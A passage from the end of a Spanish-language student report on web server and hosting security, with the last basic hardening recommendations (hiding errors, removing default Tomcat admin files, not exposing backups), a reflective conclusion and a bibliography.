letras mayúsculas, letras minúsculas, símbolos y números. No crear archivos PHPINFO públicos, ni instalar phpmyadmin en servidores. Si se usa Tomcat, borrar los archivos de administración por defecto. Crear páginas de error genérico que no entreguen información sobre el servidor de aplicaciones. Ocultar los errores y excepciones de las aplicaciones para los diferentes lenguajes de programación usados, en su lugar enviarlos siempre a los archivos de Log. No dejar público contenido que no sea estrictamente necesario, por ejemplo dejar respaldos de sitios, dump de bases de datos, archivos con información sensible u otros. Página 28 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Conclusiones El mundo va evolucionando. Todos quieren ser algo más. Haciendo una breve analogía, aumentan en Chile los hijos que estudian carreras universitarias dentro de los quintiles más pobres, o donde son ellos el primer profesional de la familia. Los sistemas informáticos son, en parte, parecidos. No se quedan atrás. Avanzan constantemente. Debido a esto, no es sorpresa que algunos sistemas vayan quedando obsoletos, o con el pasar de los días nos encontremos con noticias de algún gran avance tecnológico. Pero así como lo bueno evoluciona: lo malo avanza de igual forma. Siendo una suerte de Ying-Yang de la informática, las nuevas formas de ataques, los virus, y todo lo que constituya la explotación de las vulnerabilidades, van corriendo una carrera a brazo partido con las formas de evitar, contrarrestar y / o prevenirles, que van surgiendo. Y esto es lo que hace interesante lo anteriormente planteado. En uno de los “diarios murales” del instituto ITC, hay una cita a Bill Gates, en la que afirma que los virus son “formas de vida”. Formas de vida que han mantenido en vela a más de un informático, por cierto, pero que son necesarias para este proceso constante de evolución. Volviendo al primer párrafo de esta conclusión: debido a que todo va evolucionando, con el pasar del tiempo, cualquier sistema se convertirá en vulnerable. Ergo, debemos estar a la sombra de todo lo que pueda vulnerar nuestros servidores o nuestras páginas, para hacerle frente. Sobre todo, si queremos ser informáticos, por cierto. Y en caso de que seamos quienes contratamos un servicio de hosting, siempre será recomendable tener un buen servicio, y de esta forma acortar el rango de posibilidades de tener problemas con el negocio que sostenemos vía Internet, por ejemplo. No en vano, dicen que Juan Segura vivió muchos años. Son las humildes palabras de los integrantes del grupo que hizo el presente trabajo. Página 29 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Bibliografía: Wikipedia http://www.wikipedia.org/es Ordenadores y portátiles http://www.ordenadores-y-portatiles.com/ Proyecto Teleducación http://www.sipan.inictel.gob.pe/users InternetLab http://www.internetlab.es Masadelante.com http://www.masadelante.com Topbits.com http://www.topbits.com Gobierno de Chile www.gobiernodechile.cl Centro de Informática y Telecomunicaciones de la Fuerza Aérea de Chile www.fach.cl Escuela de Telecomunicaciones del Ejército de Chile www.esctel.cl/ Página 30 de 30